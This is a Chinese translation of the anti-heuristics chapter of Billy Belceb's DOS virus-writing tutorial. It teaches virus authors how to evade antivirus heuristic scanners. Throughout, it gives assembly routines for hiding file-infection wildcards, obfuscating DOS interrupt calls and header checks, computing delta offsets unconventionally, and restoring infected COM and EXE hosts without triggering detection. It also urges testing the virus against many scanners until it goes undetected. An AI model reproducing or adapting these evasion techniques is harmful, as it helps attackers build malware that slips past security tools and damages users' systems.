Billy Belceb病毒編寫教程(DOS篇)反探索(Anti-Heuristics)

看雪資料發表於2015-11-15

【反探索(Anti-Heuristics)】
~~~~~~~~~~~~~~~~~~~~~~~~~
    探索方法在我們的程式碼裡面尋找可疑的東西,只要避免使用如"*.com"等等...好了,我將更好地解釋它。遵循這一點

    不要使用諸如"*.com"或者"*.exe"之類的萬用字元:
    
    這種型別的東西只會在執行期<g>病毒裡使用,但是如果你確實需要它...你可疑用"*.rom"代替"*.com",然後用下面的程式碼:

  mov byte ptr [bp+comfile+2],"c"

    記住:在寫病毒主體之前,儲存"*.rom"裡的r...

  mov byte ptr [bp+comfile+2],"r"

    否則,你的努力就白費了。
    在這個例子裡,我們假設BP為變化的偏移地址,com 檔案,db "*.rom",0,而且這個病毒是一個直接感染病毒<g>

    不要使用明顯的例程:

    我們要討論的是經典的INT 21h AH=40h,INT 21h AX=4301h...你可以做很多事情...讓我們在AX=4301h時玩玩。
    我已經在哪裡讀過這個了,現在記不清在哪裡了(可能是Wizard的用西班牙語寫的教程:-?)

  push 4301h
  pop ax

    但是,有一個問題...編譯然後把它反編譯。讓我們看看由TASM產生的東西:)毫無疑問,這個只會在這個程式碼中所選的處理器比386還差。

  push ax bp
  mov bp,sp
  mov word ptr [bp+02],4301h
  pop bp ax

    這是push 4301h和pop ax的反彙編程式碼。它佔11位元組!!!我認為它是對程式碼的浪費。更好的使用情況為:

  mov ax,4300h
  inc ax

    或者更好:

  mov ax,0043h
  inc ah
  xchg ah,al

    還有:

  mov bx,4300h
  xor ax,ax
  xchg ax,bx

    對你的多型引擎的所有例程過度的懷疑:
 
    對許多的垃圾的使用要小心,如一個位元組的指令(cli,sti,lahf,nop,std,cld,cmc...)。病毒查殺工具能顯示一個標誌。探索引擎將會試圖去解密程式碼。我建議你設定一個反除錯例程來阻止它。看看這篇文件的ARMOURING這一章。

    在你的駐留記憶體檢查時不要使用奇怪的呼叫:

    如果你在你的駐留記憶體檢測時使用如AX=DEADh,一個標誌將會被觸發。要使用低於6E00h的檢查。低於6E00h的功能有很多還沒使用。你要想看更多的資訊,可以看看Ralph Brown的中斷列表。

    不要使用不常見的中斷:

    如果你使用高於80的中斷,一個標誌將會被觸發。

    儘可能的最佳化你的程式碼:

    你可以參考關於這個話題的教程(如darkman在VLAD#2中的文章或者29A#3中的文章)。

    獲得偏移地址的時候要儘可能的新穎:

    在過得改變的偏移地址的時候不要使用:

  call delta
 delta:
  pop si
  sub si,offset delta

    這個被很多的病毒使用,毫無疑問一個標誌將會被觸發。(在這個例子裡,delta offset 將會存字SI裡)
    有很多代替的方法來獲得delta offset:

  mov bx,old_size_of_infected_file
  jmp bx

(當然你可以使用另外的暫存器而不是BX)

    另外一個:

  call delta
 delta:
  mov si,sp
  mov bp,word ptr ss:[si]
  sub bp,offset delta

(在上面的程式碼裡,BP將會為Delta offset)
另外一個:

  mov bp,sp
  int 03h
 delta:
  mov bp,ss:[bp-6]
  sub bp,offset delta

    使你的加密例程非常最佳化。如果你使用某些方法,探索將會抓住病毒,所有我們的努力將會付之東流。

    使你的TSR例程更加怪:

    努力避免和0比較:

  cmp byte ptr [0],"Z"

    在你的int 21處理程式裡避免使用"真正"的比較,只要試試如下的(4bh的例子):

  xchg ah,al
  cmp al,4Bh
  [...]
  xchg ah,al

    或者對這個值xor。

  xor ax,0FFFFh
  cmp ah,(4Bh xor 0FFh)
  xor ax,0FFFFh

    或者同時;)

  xor ax,0FFFFh
  xchg ah,al
  cmp al,(4Bh xor 0FFh)
  xchg ah,al
  xor ax,0FFFFh

    記住這一點:在呼叫真正的int 21之後在使用這些例程之前返回和以前一樣的值。
    探索法在搜尋的時候比較"MZ"或者"ZM"如:

  cmp ax,"ZM"
  cmp ax,"MZ"

    你可以這麼試試:

  mov al,byte ptr [header]
  add al,byte ptr [header+1]
  cmp al,"M"+"Z"

    這是一個非常有用的例程:你可以同時檢查MZ和ZM。假設就是這樣...檔案頭至少包含檔案頭的前兩個位元組。或者你還可以以小寫的形式,用一個簡單的or ax,2020h(AX是包含這個字串的暫存器),比較時如下:

  cmp ax,"zm"
  cmp ax,"mz"

    儘可能的使你的病毒更加獨特:)

    用很多的病毒查殺工具把你的程式碼掃描很多遍來看看它能否被發現。

    對恢復COM和EXE主體恢復的例程要輕微的改動。讓我們現在來看看怎樣編制對COM檔案的反探索恢復程式:

  mov  di,101h     ; This shit will fool AV
  dec  di
  push  di      ; DI=100h :)
  lea  si,[bp+offset OldBytes] ; Restore 3 bytes
  movsw        ; ( Change it for your needs )
  movsb
  ret        ; Jump to 100h ;)

 oldbytes  db CDh,20h,00

    下面來看恢復EXE檔案時怎麼對付探索:

  mov  bx,bp      ; Use BX as delta offset ;)
  mov  ax,ds
  add  ax,0010h
  add  word ptr cs:[bx+@@CS],ax
  add  ax,cs:[bx+@@SP]
  cli
  mov  ss,ax
  mov  sp,cs:[bx+@@SS]
  sti

  db  0EAh      ; JUMP FAR

 cs_ip    equ  this dword
 @@IP    dw  0000h    ; In 1st gen, put here the offset to
          ; a MOV AX,4C00h/INT 21h
 @@CS    dw  0000h
 ss_sp    equ  this dword
 @@SS    dw  0000h
 @@SP    dw  0000h

%最後的討論%
~~~~~~~~~~~~
    有些探索(如TBSCAN)的一個巨大的失敗之處是它們不搜尋暫存器的值。我們就可以利用這一點了。只要想一想編寫一個mov ax,4301h或者一個cmp ah,4Bh的所有可能性...一切盡在掌握...

相關文章